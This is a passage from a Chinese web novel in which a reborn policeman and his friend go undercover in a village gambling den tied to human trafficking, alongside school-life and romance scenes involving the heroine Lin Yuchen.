众人沉默。眨眼间,有人拎着水壶走上过道,撞开一个挡路腿毛,哼着小调去楼下打水。
紧接着,陆陆续续的女学生走出来,拎着水壶去打水,直接把腿毛们挤得靠墙。
孙佳好发现大家都变了,变得不再惧怕,而她的拥趸者正贴着墙根畏畏缩缩地逃回宿舍,气得她小脑萎缩,大喊:“啊……我跟你们没完!”
淳于芳眯着眼,拎着水壶穿过孙佳好,低声说:“她现在不怕你,那是因为她怕的人没在这。”
孙佳好一愣,看着走远的缩肩女孩,忍不住露出坏坏的笑容。
林语晨怕的人?对啊。她怕我姐姐。林语晨,你等着,我让姐姐来教训你。
晚间,林语晨就拿出县街上买的炸丸子同宿舍的人分享,得到一堆鼓励。张茉莉拿着小人书闯进来,接过林语晨递来的丸子:“你路过我的时候就闻到这味儿了,够义气,没白帮你。唔,还行,没热得好吃。”
几人闻言笑出声,没人觉得她的点评不对。张茉莉的家世好,吃得必定比普通家庭好。
李伶俐转着眼向她打探张校长和她家的关系。
张茉莉叼着炸丸子,避重就轻来句:“就我说得那样,一个叔叔。”
她露出一个惨兮兮的苦笑:“现在我还是那个寝室的人,不敢离开太久,怕被塞臭袜子。走了呀。语晨,有事喊我啊。”
“好。”林语晨应道。这炸丸子主要还是买给张茉莉,谢谢她那天的帮忙。
大家等张茉莉离开,忍不住唏嘘:“孙佳好那寝室真毒啊。”
“张茉莉都会遭殃!啧,这些人真是无法无天。”
“没事啊。这‘一个叔叔’,可能是亲叔叔啊。张茉莉看着大开大合,其实还是蛮细心呢。”
赵晓琳没发表八卦意见,看向一声不吭整理书包的林语晨:“语晨姐,你怎么看这事啊?我担心茉莉。”
林语晨应说:“没关系的。她们寝室不全是听孙佳好。孙佳好那帮人也不敢动茉莉。”
话虽这么说,不免再次想起张家灭门案。虽说已经同赵有归这位警察报备过,又该怎么提醒张茉莉呢?
学校的时间过得很慢,却又很快。
林语晨抛开孙佳好的事,专心学习。既然回学校,就不可能只为一张毕业文凭,最不济也要拿到大专的录取通知书,见识一番大学的校园。
赵晓琳知道她的想法后找以前的同学、现在文科班成绩最好的女生一起帮她。
林语晨在这些好心女生的帮助下,撇开那些烦人的事,认真学习一星期。
——
又逢周五的晚上,独自回江源县的赵有归在露天电影场的边上找到正在嗑瓜子的张天鸿。
张天鸿带赵有归上辆吉普车,扔给他一件花衬衫、一条金链子,随后一起开车往狮虎村的方向。
张天鸿在后视镜里看他换衣服,笑问:“怎么样,兄弟的眼光不错吧,合身吧?”
“行。这条链子不会是伯母吧?”赵有归摸在粗糙的紧身裤腿,绷得太紧有些不习惯。这是最新的牛仔面料做的紧身裤。
“鞋子呢?”
“假链子,别泡水。皮鞋在前座底下,当我送你,等你结婚的时候穿。我约的人在狮虎村外碰头。哎,先说明啊,我兜里才一百块,出不了更多。”
张天鸿看他长手长脚爬到前面,抽着嘴角笑,“你怎么肯定那枚钉子一定会告诉你地点?”
赵有归穿好皮鞋,看向茫茫夜色,平静说:“因为他怕坐牢怕死。即使他失败,我不是还有你嘛。钱忠源有什么异常吗?”
“好家伙。没有,哪有人联系他啊。钱叔和我爸是大学同学,一起下过乡、种过地。后来,我爸放弃城里的工作,返乡办厂。钱叔千里投奔,一直在厂里做副厂长的工作。
我爸说,若不是他们那个时候不流行结拜,两人一定是拜把子的铁兄弟。
你让我注意钱叔,我给我爸说了一嘴。他听后脸都沉了。你说钱叔会害我爸?不可能!”
张天鸿边摇头,边开车,发现前方打手电的光,“约的人在那呢。记得报个假名。”
赵有归点头,摸下兜,队里的权限能调五百块公款,已经是巨款。
“你是不是放弃这次被推选为厂支部书记的机会?”
“啊。我现在可是张家的混账儿子,名声都臭了,怎么被选啊。为了你的任务,我已经三天没出现在造纸厂。”张天鸿念叨完,突然愣顿下。
赵有归警觉,侧眸问:“怎么了?”
“我好像找到原因了。”
这次厂书记的第二热门人选是钱心文,正是钱叔的儿子。
张天鸿没立时向他解释这事,看着跳出来的林大树说,“先办正事吧。”
两人下车,林大树低声喊:“天哥,关车灯。”
他凑上来打量赵有归,手电的光滑过他一身穿着,停在脖子上反光的大粗金链子,“天哥,不是你一个人吗?这人谁啊?”
张天鸿熄灯锁上车门,走来说:“我兄弟啊,听说这有好玩,也想出来见识见识。”
林大树点头,舔了下唇,嬉笑说:“好说好说,天哥的兄弟就是我林大树的兄弟,怎么称呼啊,在哪高就呢?”
张天鸿张眸看向赵有归,满面笑容,等着他瞎编。
“靳燕好。”赵有归接口,“平时跑港深做点倒卖的小本生意。”
张天鸿噗嗤一声笑了,又憋住说:“对,燕好啊,兜里富得流油。他是最早抓住开放生意得那批淘金者。而且,他已经是万元户了。”
说着还搓了搓手指,惹得林大树生出羡慕。
林大树嬉笑说:“天哥,燕哥,接下来不能开车上去,怕动静太大。我带你们走一段。放心,等到了地方,保准你们玩得开心。走。”
他在前领路,张天鸿和赵有归跟在后面打手势交流,嘴上也不停。
张天鸿笑:“大树人好吧?他们一帮人扒着我,我就看中大树,人实诚,心热乎。”
手势:一条路,不大,不能开车。
赵有归听着前面的林大树搭腔,附和句:“确实老实。”
手势:他带我们兜圈,有两条路。一会你打掩护,我去探一下。
经过一段山路后,林大树带两人绕个山湾。
张天鸿蹙眉看去,山塆前口确实有条路,可以通车。这地方绕村绕山,若不探清楚,容易走失。
两人背着林大树又比划起来,就听林大树说“前面就是了。”
前方五十米出现一座朦胧轮廓的祠堂。
林大树的热情很高。林裕宝对他说过带一个客户给五十。若是客户能从他们那借款,数额超过一千再奖励他五十。
他这次拉两个人,能一次性拿一百元,而这已经不是一笔小钱。
“天哥、燕哥,就是里面。”林大树跟门口站岗的人对口号、打招呼,又把身后的两人介绍一遍,“这可是张天鸿,听说过张德梁吗?他家的公子。这是燕哥,跑港深的生意人,万元户啊。”
这两名头一出,看门的人直接放行。
一入
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门,先是一尊供奉的财神像。
林大树拜了拜,口上念叨财神保佑,对两人说:“这原本就是两村的祠堂,还供奉财神,除四旧、扫迷信的时候这里被打烂过,后来,我们老板……把这翻新了。”
他朝好奇的两人指向堂两侧:“从这后面过去就是了。这周,我们在一边加一堵墙堵了一条路,只开一道门,防止狮虎村上下村的人好奇这地方再发现不对劲。”
张天鸿和赵有归对了眼。张天鸿笑说:“听你这么说,这地方犯法啊?”
“哎哎哎……可不能这么说。”林大树返回来贴着两人,低声说,“这年头没什么娱乐,歌舞厅就晚上那点时间,不够人耗啊。现在娶媳妇还讲究三转一响,光下地那点钱哪够啊。大家也是找条门路赚点钱好娶个老婆嘛。”
他盯着赵有归,嘿笑了声,“我们的脑子不像燕哥这么好,哪懂做生意啊。”
“别贫了。他赚来的钱还不是要入你们的坑。我都听到声了,有麻将。”张天鸿打断了他的洗脑话。
林大树赶紧带两人进去。
入二门后,麻将洗牌声比人声还大。
赵有归和张天鸿再次对了眼,装出一脸好奇的样子跟林大树进堂。
一群人看到两高个进来,从眼前的牌局上抬眉,林大树嘿嘿一笑:“客人,客人……”那些人又自顾低头看牌。
楚邵正站在赵田、陆天后面,看着两人的牌面,一眼发现赵有归,脸色都青了。
赵有归的眼神漫不经心地滑过楚邵,跟在林大树后面到一桌骰子前。
林大树介绍说:“新来的一般都从这几样开始。你们看看,有没有兴趣?”
张天鸿哼笑:“这就是你说得好玩啊?那天,你不是说有……女人。”
“嘿嘿,这个得……这个。”林大树搓摸两指,“你们先玩两把吧,我去帮你们安排下。”
说完,他找个堂里的小弟带着两人,先往后堂去了。
楚邵有心走过去问一声,现在祠堂外面是不是全是条子啊?
他发现赵有归和张天鸿真在押注,一时又不敢过去。经验老道得他瞬间明白:这两人是来摸底打探消息。
张天鸿和赵有归两人一个押大,一个押小。
张天鸿一直输,赵有归一直赢,气得张天鸿瞪他。
转念一想:两人的注数一样,回头再分,没输没赢!
张天鸿服气:这家伙拿公款来玩,还知道全款拿回去!
林裕宝在后堂听说张天鸿来了,在门帘后偷偷瞟了眼,蹙眉说:“不是只让你把张天鸿拉来吗?那人是谁?”
林大树解释了一番赵有归的身份。
林裕宝的心里存疑,对“靳燕好”这人不放心,两人在这群人里显得过分突出了。
楚邵发现林裕宝的动静,带着复杂的心情走过去:“林哥。”
林裕宝点头,精瘦的脸上滑过一点厉色:“你帮我个忙,看到那两个人吗?你帮我去试探一下他们的身份,与大树说得对不对得上。对了,一会你来后面的搭房,哥领你见见老板。”
楚邵的心都是飘着的,顺本能点头:“好,林哥。多谢林哥给机会。”
他背过身暗吸口气,朝赵有归两人走去。
“兄弟,新来啊?”楚邵一把搭上赵有归的肩头,嬉笑说,“真高啊。你们两人站一起,简直是鹤立鸡群。”怕别人不知道你们是国家严训过啊。
赵有归一顿,与张天鸿对了眼,回头朝楚邵说:“怎么称呼?”
张天鸿听明白楚邵的意思,转身去了别的桌。两人分开后,没再显得那么突兀。
楚邵引赵有归去这里的厕所,又给他点了搭房那边的路,借着拉尿放水的声音说:“你们也太虎了,当这些人是傻子吗?他们可是吃一堑长一智,学得快着呢。我跟你说的客车又来了,一会林裕宝让我过去,说是会给我介绍老板。至于我能不能碰上那些人,说不准。
另外,今天拉几个女的过来。”他抖下身体,提上裤子,睨向赵有归,“没想到你好这口啊。”
赵有归的脸色清白交替,睨他一眼,使劲一提裤拉练。
这裤子和这人一样,让人不舒服,还不能脱不能打,气人!
33. 孙不仁
赵有归扣好牛仔裤的铜口子,尽力展出一张平静脸:“楚小弟想做生意,明天约了,一起吃顿饭。”
说完就赶紧出去,一想起林语晨得那张检查单子、再有前世林叔林姨说得那些话,怕忍不住揍他。
厕所门口的小弟贪婪地盯向赵有归脖子里的金链子,响亮地来了声:“燕哥好!”
赵有归嗯了声,绕过他离开。
小弟呸了声,以为喊一声会给钱呢。
他掀开厕所的布褂,朝里说:“楚哥,林哥问你好了没?”
楚邵特意慢一拍,拍在小弟的肩头:“喜欢金色啊?”
“谁不喜欢呢?”
“嗯。多看看,以后搞个大的,先拿大的银色,再搞个小的金色。”楚邵意味不明地笑着,跑去找林裕宝。
大得是镣铐,小得是枪子,正好一银色一金色。
小弟歪头目送:“我不止要银镯子,还要金项链。”
此时,张天鸿被林大树带进一处搭房后的昏暗房间,身穿碎花布裙的女人坐在简单的床铺上发呆。
林大树讨好地笑说:“天哥,这是已经驯服了,好好享受。你放心,我会把燕哥也伺候好。”
张天鸿强扯唇角,给他竖大拇指。
等人离开,哼了声:“三毒齐两样,再不处理,第三个也该来了。这帮子混蛋。”
“你……在说什么?”女人宛如小鹿的眼神怯怯地望来,又像是怕挨打,人往里缩成团。
她这样子明显不是自愿。而且,“你是南边的口音?”张天鸿的脑子急速运转,母胎单身二十六年,这关怎么过呢?
赵有归这个事儿精最好搞快点。
赵有归避开人,扒开后山路上的客车车牌。这些人现在就知道遮车牌避开人,日后就懂避开监控。他记下车牌号,再原样把□□贴回去。
等回到堂屋,林大树已经找他两圈。
林大树这圈转完要喊人了,一转眼发现赵有归在玩同花顺,疑惑了下,赶紧凑过去:“哟,燕哥,这把牌好啊。刚才怎么找你都不在呢?”
赵有归直接忽视他,激动得把三个A带对Q摔出去,大过全场。
他捞回这次的赢头,正好抵上押注时输掉的钱。
公款得归还,尽量一分不少得还回去。
林大树看他撸钱,也兴奋起来,忘记刚才找他的事。
“燕哥,财运不错啊。刚才拜财神还是有用嘛。”
赵有归这才撩他眼,像是刚发现他,扔过去一张十元。
林大树叠声说谢,赶紧把钱塞进兜。等庄洗牌的功夫,想起正事:“燕哥,快快,备好地儿了。你赶紧跟我走。牌嘛下次还能玩。”
有人嘲笑林大树连钱都不挣了,又有人堵着林大树问:“准备好了什么啊?”“瞧着热闹,给我也准备一份”。“这把玩好再走嘛。”
林大树朝留人的客人客气道:“王哥放心,这好事过两天就能对大家开放。燕歌是万元户,又是新人。咱林哥说了,先让他过过瘾。”
众人一听万元户,都盯看赵有归,眼神飘过他脖子里的金链子,再听是林裕宝的意思,便不留人了。
林大树继续拉赵有归离开。
他人精着呢,牌面赢了一定能留人,若是输掉几把可能把人吓跑。毕竟,这些人还没上瘾。但是,女人软起来留人的本事更高。所以啊,首重是把人的根留在这。
赵有归朝桌面上的人哈哈笑:“各位,谢了呀,下回一起玩。”
赵有归随林大树离开,边走边看两边,林林总总十五张桌子,没有全满,加起来近五十人在赌,另外看场得有二十人,算上林裕宝和屋里那些人,这地儿有近八十人。
八十人聚集一方,场面已经不算小。
江源县局对此不来调查甚至没有察觉,不说这小警员赵田是他们的眼线,恐怕县局还有人在给他们兜底。
意识到这点,心里更沉了几分。
两人路过搭房,正好见林裕宝和楚邵进搭房门。
搭房里的人一闪而过,除正黑色的中山装一角,其它什么都没看清楚。
赵有归一把扣住林大树的肩头,用力之下让林大树矮了身。
“哎哟,疼死了。”林大树惊呼。
赵有归急忙撤力:“不好意思,我就好奇张天鸿在哪间屋子?”
林大树扭张脸笑,不敢对财神爷发脾气。
“没事没事。他在我给你安排的房间隔壁。燕哥放心,这会天哥应该已经点上事后烟啦。”
赵有归应说:“那好,我去找他。赢了这把大得想带他吃宵夜呢。”
“哎,那……”林大树指向安排好的房间,脸上露了急色。
这人要是不上这个瘾,下次还不一定来呢。人不来,以后怎么向林裕宝借款啊?
然而,他发现赵有归连门都没敲就推开隔壁的门,也不管里面的人到底完没完事。
脱了上衣的张天鸿一把捂住胸口,假装惊慌:“谁啊?”
“是我。”赵有归沉沉地应了声。
林大树赶过来解围,借着室内朦胧的光见到女人露着背朝里墙,忍不住多看两眼:“天哥,燕哥可能想跟你一起呢。”
“我喜欢赌不喜欢女人。你完事就走吧。我想去你说的歌舞厅了。”赵有归上前,侧头看墙,身体挡住林大树看女人的眼神。
张天鸿的角度就看到林大树往旁边绕,还来看自己的身后。
转身捞起被子盖住女人,骂骂咧咧:“你个滑头看什么看,哥的女人也看啊?”
林大树赶紧背过身:“不敢不敢。天哥喜欢,以后她就是您得了。”
张天鸿扫眼气定神闲的赵有归,想来是事情办好了。他穿上鞋,堵着林大树一起出门,嘴上还在尽职地碎碎念:“你自己玩自己嘛,不好这口还不让我多待一会。走吧走吧,歌舞厅也有大把的姑娘。”
两人赶着林大树出小屋,又给他十几块小费。张天鸿哼说:“这屋里的女人以后是哥的人,别乱来啊。”
林大树的心情瞬间高涨,应和说:“不会不会。天哥喜欢,她就是天哥的人。”
他没强留两人,陪两人穿厅过堂,一直送到门外:“两位哥,
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今日我这的服务怎么样?”
“挺好。我一定会再来。大树,现在我已经熟门熟路,这些人不会再拦我吧?”张天鸿看向门口守着的人。
林大树连连说:“不会。天哥放心,他们不敢拦你。其实,这里还有一条路,不必经过狮虎村。等哥再熟些,我带天哥走那条路,小是小了点,但直达后院,不必走山路。”
张天鸿直接踢他一脚:“你不早说,还得我们走回去。”
“嘿嘿,下次下次!”林大树又盯向赵有归,等着他说下次再来。
赵有归轻咳:“一般吧。这场子还没澳港那边的巷子场大呢。”
林大树的眼睛绽光:“燕歌真是见过大世面的人。我们老板也这么说,办场子的路还长着呢。下次,燕歌再来时我介绍林哥给你认识。他啊就爱听澳岛那边的事。”
赵有归知道他在想办法留人,轻笑说:“好说。走吧。”
“一定要再来玩啊。”林大树不免有些可惜,张天鸿没跑了,这万元户说不好啊。揣着兜里到手的钱,目送两人下山。
离开祠堂,两人拿着林大树给的手电筒一路回采石场路边的停车处。
上车后,赵有归才问:“你没来真得吧?”
“怎么可能动真格?”张天鸿想起刚才的经历,气愤地说,“林裕宝真不是东西,怕我不上钩还是怎么,找个人在外面偷听。我不得脱衣服演戏啊,连门都不锁,光明正大得让他们听戏。”
“委屈你了。”赵有归的声音平平,像压着笑声。
张天鸿还在气头上,没听出他的语气:“那个女人不是本地人,被人在火车上骗过来。我答应救她回家,她也愿意帮我掩护。”
赵有归没想到这茬,一边换衣服一边问:“能信吗?”
张天鸿轻踩刹车,让换裤子的赵有归因为没有支撑点撞在椅背又跌回后座。
赵有归气笑:“我说错话了?”
“人挺可怜的,你这么说,她会伤心的。”张天鸿咕隆了下,也感觉自己的戏过了。
“张天鸿,你现在是响应组织的号召出任务,不能出差错。如果我们不能将这些人一网打尽,日后他们盘根错节,树大根深,很难揪干净,而且他们的危害远不止如此。”
“行行行……”张天鸿就知道他要上升到组织层面,开一段路后回过味:“不对啊。我不同她合作,难道真让我提‘枪’上阵啊?我的第一次得留给我爱人。”
赵有归:……
“人可信就好!”
张天鸿轻笑,难得让赵有归无语。“他们三毒已经有两毒了,余下一毒说是快了。按那个女人——她叫金翠城,来自边地,说是叫“孙老大”的人亲自领她和几个女得一起交给林裕宝。
人口流动才多久,就有人钻空子做这些事。一帮混蛋!
对了,今天孙不仁在里面吗?”
“孙不仁?”
“不字加二,偏一偏不就是‘仁’吗?叫他孙不仁没错吧?”张天鸿唾弃道,“呸,人渣。县里的姑娘不好动了,他们就找外面的姑娘回来。贩卖人口罪跑不了。”
34. 军令状
赵有归点头,越发肯定孙不二有拐卖人口的罪行。
林语晨说在火车站差点被拐骗,联想到孙不二的女儿孙佳人诱激她上市里。
结合淳于蓝的自杀事件,以及她父亲讨公道的行为,影响到孙不二等人的行动。他们把手伸向外地,通过诱拐妇女到本地行非法勾当。
孙不二、林裕宝等人做这事不少于一年。
赵有归思索着道:“楚邵说今晚林裕宝带他见老板。但是,我的人近期一直盯着孙不……二,他不在灵江市,查到他去南边。恐怕这地儿的幕后老板不止孙不二。”
他爬到副驾换鞋,坐在车上环顾外面的地形,“得挑个白天来观察一圈地形。”
张天鸿点头:“你不是说有辆客车,这地儿有条后山路吧?要不我绕一圈转到后面去守株待兔?”
“我们又不知道这山有多大,也不清楚祠堂后方的出口往哪个方向,绕一圈也不知道要多久。我观察过客车,两边拉上窗帘,外头是看不清里面的。”
赵有归思考着,“直接回江源县吧。”
“好吧。照你这么讲,孙不仁背后的关系很复杂。”张天鸿一掌敲在方向盘上,想起金翠城的经历,脸色有些发青。
“我问过金翠城,她原先在灵江市,听说市里在排查外来人口,才被拉到江源县。之前,她在林裕宝的歌舞厅,也许是我和我妹闹那一出,他们不安心,就转了地方。林裕宝记恨着我呢,非得搞几个人拉我进坑,心思真毒啊。
你的动作得快点,最好明天就能端掉这窝王八羔子。”
赵有归没有应声。
重生归来,回到灵江市的第一件事看望母亲,第二件事上市局报道,也为见现在的谭省长,从前所在连的团长。
他把灵江市潜伏的势力、江源县地方犯罪行为等有条有理地报给谭省长。
谭省长从起初怀疑到赵有归立下军令状,这才松了口。自己带过的兵是怎么样,他心里有数,指示赵有归在一月内必须让他见到确凿证据。
借由领导下发的名正言顺的公文,赵有归的第一个任务就是安排灵江市排查外来人口。
这样做可以把孙不二在市里的人赶到江源县,而金翠城等人出现在祠堂,说明排查外来人口的方法已经奏效。
林裕宝这些人把人安置到祠堂,其实也很好理解。
歌舞厅就这么大,又在江源县街,市局下发指令,江源县也要例行外来人口排查。
加上张天鸿那一顿闹,林裕宝把来路不明的外地人安排到祠堂暂避。
张天鸿侧头看去,瞧不清赵有归的表情,皱眉说:“你不会为什么大局,放弃她们吧?”
赵有归的沉默让张天鸿感觉憋屈。
回程路上,两人没再说话。
临近江源县街入口,张天鸿暗吸口气:“林裕宝、孙不二这些人的动作很快,照他们这个势头发展,怕是整个灵江市都要变成黑地。”
“所以,要抓就要一网打尽。”赵有归接道,明白张天鸿气愤的点。
张天鸿啧了声。在大局观方面,他就是不如赵有归,不然连长的位置也轮不到他。
“你才回来几天,这么快接受市里的大案子?”
赵有归一路上都在思考孙不二这伙人的关系。
往后短短十年,灵江市的黑恶势力发展迅猛,而且越来越狡猾。
官商、警司和暗处的黑势力联合一体,笼盖整个灵江市周边,乃至与金三角等地都有牵扯。
前世这起案子的影响很大,直接让上面下派调查组。
作为调查组长,赵有归明察暗访整整大半年才正式在灵江市登场。这一次,这伙人正在崛起,是将他们一网打尽得最好机会。
“你记得谭团长吗?他现在是本省省长。”赵有归平静地说。
“我去,赵有归,你走关系?”张天鸿一脚踩住刹车,如看奇人般看去,“脑子开窍了?”
“走什么关系?我是越级报案,借案专查。我拉一个组三个人办事,很多地方还受限制。现在,外面的风声不大。若走漏了风声,阻拦不会少。
你赶紧开车。”赵有归拍在车把手,“不然,我来开。”
“嘿。其实你这样才对,回来的第一时间找我帮忙,我就知道你变了。咱们的赵连长终于不是犟牛了。”
张天鸿一路开进江源县,停在通往赵家村的路边,熄掉车灯。
在黑暗里他问:“接下来怎么做?”
“我已经拿到车牌。下个星期五前,孙不二应该会回江源县,我会在周五晚上布局抓人。
另外,我约了楚邵,明天在林叔家汇合,打听他今晚见了谁。
其次,我会派人摸一下狮虎村和采石山周边的地形,避免行动的时候让人逃走。”赵有归揉下眉心,再看回赵家村的道,准备下车。
张天鸿听明白安排,知道他心有成算,找个其它话题:“你约楚邵在恩人家见呢?不怕姓楚的钉子把你的小恩人勾走啊?他比你这种五大三粗的长相俊俏多了。”
赵有归在黑暗里睨他:“钱忠源的事怎么说?”
张天鸿切了声,沉落脸色。一会,黑暗里传来声轻叹。
“这次,我参与你的事,就不参与厂书记的选举。第二候选人钱心文就能上去。钱叔那边不会有怨气。”
赵有归明白他的意思。
张家被灭门的原因之一果然有亲友的嫉妒作祟。若光是外人动手,以张家的本事不可能悄无声息地没了。
前世,赵有归担任调查组组长后查过张家案。
张家是在端午前夜的聚会后被灭门。
那晚上,张家邀请钱忠源以及八一造纸厂的几位重要干部一起吃顿家宴。
客人走后,半夜里,张家就出了事。
动手杀人得是几个外乡人,被抓后只供出一个理由:“造纸厂是张德梁家,他家有钱。”这些人无一例外都说,那晚上张家人睡得很沉。
张家案留有疑点,但因为当时的条件有限、采样证据不足,无法解析张家人究竟是因为喝多还是药物导致睡得太沉。
案发后不久,钱忠源上位成造纸厂的主事人。
赵有归成为调查组长后,研究过钱忠源此人,发现他并不是个胆大突进的人。相反,他保守、谨慎而且沉得住气。即使他真有怨恨也不敢真动手杀人。
几番追寻,后来查到,当时市里唯一的大企有人事变动,有消息称,即将退休的主负责人提出让张德梁前去接手大企。
张家出事后,大企上位得是企内总经理。张德梁去大企的风声就此消失。
几年后,钱忠源主持的八一造纸厂被林语晨的造纸厂赶超。
钱忠源的管理方式沿用张德梁的老办法,无法与时俱进,被别人超越是理所当然。
赵有归无法对张天鸿透露更多的信息,但张天鸿不是笨蛋,已经联想到厂书记选举背后潜在的人情转变。
张天鸿的退出正好成全钱忠源,让他一直以来对张家的嫉恨减少些。
接下来,他只要暗中注意灵江市大企总经理的动向,此事最迟会在明年端午前夜发生。
赵有归的心里宛如明镜,轻声说:“你知道问题出在
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哪就好。”
“我心里有数。我送你回赵家村吧?”张天鸿启动车子。
赵有归推开车门:“你不是说去歌舞厅?做事做全套。我先回赵家村。”
“哎,走回去不少路啊。”
赵有归关上车门:“没事。夜里安静,正好想事情。注意安全。”
张天鸿目送他,启动车子为他照一路,待那身影消失,才开车往江源县。
——
夜色里充满水汽,像是蒙层纱,月光穿过薄雾为田野洒层霜。蛙鸣如歌,拨动人心思回归当下。
——这大概是梅雨季节前的最后一个晴天。
赵有归一脚深一脚浅赶往赵家村,脑海里想起前世办案的经过。若此事再推迟两年,下派组织连灵江市局都插不进手,而现在介入是最好的时机。
路过林家村,黑漆漆的村子传来狗吠,脑海里想起楚邵。
如果这个人今生做好人,还想和林语晨和好。
林语晨会原谅他吗?
脚下一软,踩进黑漆漆的浅坑。
赵有归哂笑了声,望向前方的赵家村,猛地提速开跑,像一阵风,穿过糖霜般的田野,奔向黑压压的村庄。
村庄里有什么?那个放假回来的姑娘。
她在做什么?应该在睡觉。
会做梦吗?是忘不了前世的仇恨还是期待新生活,或许实际点,是那一本本背不完的书。
赵有归一直以来沉寂的心被什么点燃,训练有素的身体爆发一股力量,奔跑带来如浪般卷起的激情,甚至生出一股火,热到想见她,闯进她的梦里去看一看。
田野的蛙鸣被风卷过,唱得越发响亮,奏响名为“奔赴”的歌。
林家窗户的朦胧灯光是一座灯塔,照亮急跑而来的赵有归本不平静的心。
他加快速度,一直跑一直追,誓要追上那道光。
“嗬嗬……”
人在林家的院门外喘息,看着骤然熄灭的窗户,忍不住又喘又笑。
这一路,他解答了重生来的三个问题:“我是谁?”“我从哪里来?”“我往哪里去?”
现在,立在灯塔下,他找到了答案:我是一名追光者,从未来回来,寻找点亮人生的灯塔。
告诉她们:这一世,我愿为你们开道,守护你们前行。
只是,一座灯塔已经安睡。
“呵呵……”
赵有归轻轻地笑起来,尽量压低笑声,不把林家人吵醒。他摸把额头的汗,感觉像是回到十八岁时不知天高地厚的年纪。
为一个想法,连父母都可以不要,只为追问答案。
现在,他为这束光,再次生出那份渴望的心力。
夜风让火热的心慢慢地沉静。
这种静不再是沉寂,而是蛰伏。
赵有归长吸口气,朝那扇关了灯的窗户,低声轻语:“晚安,林语晨。”
林语晨在后院茂盛的安居树下透过矮墙看向那道高大的黑影,淡黄的月色为他蒙层光,让人觉得很暖。
她不知道该喊住他还是怎么。
待人路过时,她比任何时候都快地蹲下,一直到轻微的脚步声消失在夜色,才敢直起身,轻手轻脚回房间。
夜深潮热,睡不着得她关灯出来,没想到会听到奇奇怪怪的压抑笑声,像一头咕噜咕噜的狮子,突兀地闯进她心绪不宁的黑夜。
回到房间后,林语晨坐在床沿,在黑夜里听到清浅的笑声。
人倒在床铺,又忍不住笑出声,莞尔说:“晚安,赵有归。”
这个夜,也可以很宁静。
35. 淳于芳
翌日,天没亮,林语晨到门口就见赵有归进院。
四目相对,一时忘记问候也忘记避开彼此的眼神。
林语晨感觉心好像在跳,跳得与以往任何时候都不一样,好像回到那个仿佛禁忌的夜晚。
漆黑的夜里,两人躲在院门后,贴得很近。
心,扑通扑通;脸,渐趋烫红。
林兰香拿篮子出屋,发现两人对站着,轻蹙下眉,喊了声:“是有归啊?你妈呢,回来没啊?”
“林姨,我妈还在市里,过段时间回来。”赵有归条件反射般回答,回神后朝林语晨克制地点头,绕过她进院。
又想起林语晨的打扮是要出门,下意识就喊,“语晨,去哪呢?”
“啊?”林语晨放下摸脸的手,没想到会被他喊住,不免又想起昨晚那句“晚安”。
“上……上县里啊。”
赵有归盯在她仿佛上了色的红润脸颊,忍不住又看两眼,待林语晨回头去后记起上林家的目的。
他朝林兰香说:“林姨,我来找语晨,请她帮个忙。”
“哦,行。”林兰香觉出气氛不寻常,想起林语晨此前说“我嫁给赵有归这样不回家的军人,也不嫁给油头粉面。”
她咧了嘴,憋住笑意,朝女儿说,“晨晨,招待下有归。妈去地里摘菜。有归,中午在姨家吃饭。你叔可想你了。”
“谢谢林姨。”赵有归应道。
林兰香路过林语晨,低斥了句:“没事别上县里,自己和我说那边乱,你还跑去干什么?”
不等林语晨犟嘴,林兰香给她使个眼色,拎篮子出门。
林语晨没看懂母亲的眼神,只觉得松口气,扫眼赵有归又提起心。等他走近,才慢吞吞问:“什么事啊?”
赵有归发现她又不看自己,抿直了唇,宽阔的眉间露丝轻纹。
“嗯……我想请你帮个忙,打个掩护。”
林语晨疑惑地看他,静等说明。
赵有归解释:“你知道楚邵是我的暗线。若我和他去林家村或江源县接头都不合适。”
“所以约在我家?”林语晨立时接住他的话,瞬间沉落脸色。
“若是不方便,我们可以在外面聊,在你家附近。”赵有归知道她为难,也觉出不合适。
“没事。抓罪犯重要。”谈到楚邵,林语晨忘记尴尬,直直地看去,“正好我有事找他。你们约了什么时候?”
“下午。”赵有归轻舒口气。
若约楚邵去自家,怕别人以讹传讹,传到林裕宝的耳朵。
林语晨明白他拿什么打幌子,无非是楚邵追求自己,总来串门。
若是这样也好,楚邵走动的次数多了,林菲儿就该坐不住了。不管前世还是这一生,若林菲儿依旧看中楚邵,必然会再次出手。
“行吧。你留在这,等我爸灌完水来招待你。我有事要出去一趟。”
赵有归跨半步,伸手拦她,又急忙放下:“你去县里做什么?我……担心你的安全。”
林语晨依旧往外走,与他拉开距离,总感觉赵有归身上有股气,像什么东西要扑来,让人觉得危险。
她很熟悉这种危险,以前选择避开,这次也不会变。
“我约同学一起复习。”
赵有归的目光落在她腰侧的布包,以及被抓紧的肩带。包面扁平,肩带宽松,没带笔袋、书之类有厚度和重量的东西。
“出什么事吗?”
“……”林语晨眨眼再眨眼,环顾自己,没觉出哪里有问题。
赵有归知道她在找什么,没具体说明,只道:“若是有事,我可以帮忙。”
林语晨有种自己是犯人的感觉,轻咬唇,面露为难。
“要不回家坐下说?”赵有归又道。
林语晨扫视他,这人怎么反客为主,审犯人呢?
她瞪过去,男人一脸正经,好似穷追不舍不是什么错。
赵有归察觉她的不耐烦,被看得有些慌,习惯性拉下帽檐,摸个空。
林语晨忽然想起他的警察身份,而心里确实有事瞒着。慢慢地泄了气,松开紧绷的肩头,再又想起他昨夜的荒唐行径,估摸着不如选择……信任他。
“你记得与我说过淳于蓝吗?”
“淳于芳出事了?”赵有归紧接问,眉宇直接蹙成川字。
林语晨真得惊讶了。以前同赵有归聊天,没发现这人这么敏锐。又或者,以前没交流这么深?
“你怎么猜到呢?”
“不是猜。”赵有归跳过这个问题:“你接着说。”
林语晨气笑,转身就走。真当审犯人呢!
赵有归傻站几秒,后知后觉地反应过来对方真在生气,紧追上去:“你问到淳于蓝,而她已经过世,与她和你有关联得只有淳于芳。不是猜,是推测和判断。”
林语晨睨他,翘起唇角。这样说明白让人心里舒服多了。不过,她依旧没有停步。
“语晨,语晨……”赵晓鹤在两人后面追着喊,“哎呀……”
重物摔落地的沉闷声惊到两人。林语晨回头,赵晓鹤被辆大自行车压着爬不起来。
赵有归第一时间帮赵晓鹤扶起自行车,让他从自行车的横档里拔出腿。
林语晨诧异说:“晓鹤,你怎么这样学车啊?”
赵晓鹤用得是小孩子学车的方式,主要是这种自行车的横档很高,想要跨过去上车得非常熟练,而他也没用坐在车座、一脚蹬的方式骑车。
赵晓鹤的脸色爆红,把头埋进胸:“我跨不过去就这样骑。”
赵有归撇开脸,怕藏不住笑。林姑娘太耿直了。
